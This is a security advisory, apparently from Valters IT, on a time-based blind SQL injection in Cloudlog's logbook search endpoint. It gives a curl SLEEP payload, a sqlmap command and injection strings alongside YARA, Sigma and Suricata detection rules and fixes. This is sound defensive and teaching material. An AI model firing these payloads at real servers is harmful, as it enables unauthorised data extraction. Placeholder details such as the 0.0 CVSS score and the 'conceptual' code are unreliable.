CVE-2024-44065

Executive Summary

CVE-2024-44065 is a time-based blind SQL Injection vulnerability discovered in Cloudlog v2.6.15, specifically within the /index.php/logbookadvanced/search endpoint via the qsoresults parameter. This flaw allows an unauthenticated attacker to extract sensitive data from the database by observing response timing delays. The vulnerability has a CVSS score of 0.0 (placeholder) but poses a critical risk to confidentiality and integrity. No official patch has been released, and no public exploit code exists at this time.

Supply Chain & Package Security

Cloudlog is a PHP-based web application for amateur radio logbook management. It is not distributed via NPM, PyPI, Go, or Ruby registries. The vulnerability affects the core application code, not a third-party package. Users should monitor the official Cloudlog repository for updates.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder; actual severity likely high)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)
• Threat Level: Critical (due to unauthenticated access and data extraction potential)

Deep Dive & Mechanics

The vulnerability resides in the qsoresults parameter of the /index.php/logbookadvanced/search endpoint. The application fails to sanitize user input before incorporating it into a SQL query. An attacker can inject SQL commands that cause time delays (e.g., SLEEP(5)) to infer database information character by character.

Vulnerable Code Snippet (Conceptual):

$qsoresults = $_POST['qsoresults'];
$query = "SELECT * FROM logbook WHERE callsign = '$qsoresults'";
$result = mysqli_query($conn, $query);

Exploitation Technique:

• Inject payload: ' OR IF(1=1, SLEEP(5), 0) -- -
• Observe response time: If delay occurs, condition is true.
• Iterate through database schema to extract data.

Vulnerable vs. Patched Code

Vulnerable (Cloudlog v2.6.15):

$qsoresults = $_POST['qsoresults'];
$query = "SELECT * FROM logbook WHERE callsign = '$qsoresults'";
$result = mysqli_query($conn, $query);

Patched (Hypothetical):

$qsoresults = mysqli_real_escape_string($conn, $_POST['qsoresults']);
$query = "SELECT * FROM logbook WHERE callsign = '$qsoresults'";
$result = mysqli_query($conn, $query);

Or using prepared statements:

$stmt = $conn->prepare("SELECT * FROM logbook WHERE callsign = ?");
$stmt->bind_param("s", $qsoresults);
$stmt->execute();

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Cloudlog v2.6.15 in a Docker container.
2. Use Burp Suite or sqlmap to test the endpoint.

Manual Exploitation:

# Test for time-based injection
curl -X POST "http://target/index.php/logbookadvanced/search" \
  -d "qsoresults=' OR IF(1=1, SLEEP(5), 0) -- -"

Automated with sqlmap:

sqlmap -u "http://target/index.php/logbookadvanced/search" \
  --data="qsoresults=test" \
  --technique=T --time-sec=5 --batch

Blue Team

Detection:

• Monitor for unusual response times (>5 seconds) on the /index.php/logbookadvanced/search endpoint.
• Look for SQL keywords (SLEEP, IF, OR) in POST parameters.
• Deploy WAF rules to block time-based injection patterns.

Hunting:

• Search logs for qsoresults parameter containing SLEEP or BENCHMARK.
• Correlate slow responses with failed login attempts.

Indicators of Compromise (IOCs)

• Network: POST requests to /index.php/logbookadvanced/search with qsoresults containing SQL keywords.
• Logs: Database error messages or slow query logs.
• Timing: Response times exceeding 5 seconds for normal queries.
• Payloads: ' OR IF(1=1, SLEEP(5), 0) -- -, ' AND SLEEP(5) -- -

Detection Engineering

YARA Rule

rule CVE_2024_44065_Cloudlog_SQLi {
    meta:
        description = "Detects time-based blind SQLi attempts against Cloudlog"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-44065"
    strings:
        $sleeper = /SLEEP\s*\(\s*\d+\s*\)/ nocase
        $benchmark = /BENCHMARK\s*\(\s*\d+\s*,\s*\w+\s*\)/ nocase
        $if_condition = /IF\s*\(/ nocase
    condition:
        any of them
}

Sigma Rule

title: Cloudlog Time-Based SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects time-based blind SQLi attempts against Cloudlog v2.6.15
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php/logbookadvanced/search'
        cs-uri-query|contains: 'qsoresults'
        sc-bytes: 0
        time-taken|gte: 5000
    condition: selection
falsepositives:
    - Legitimate slow queries
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44065 Cloudlog Time-Based SQLi"; flow:to_server; content:"POST"; http_method; content:"/index.php/logbookadvanced/search"; http_uri; content:"qsoresults"; http_client_body; pcre:"/(SLEEP|BENCHMARK|IF\s*\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /index.php/logbookadvanced/search endpoint if not needed.
2. Apply input validation and parameterized queries.
3. Deploy a WAF with rules to block SQL injection patterns.

Long-term Fix:

• Upgrade to a patched version once released.
• Conduct code review for all SQL queries.
• Implement prepared statements throughout the application.

Workaround:

• Use a reverse proxy to filter malicious payloads.
• Restrict access to the endpoint via IP whitelisting.

Valters IT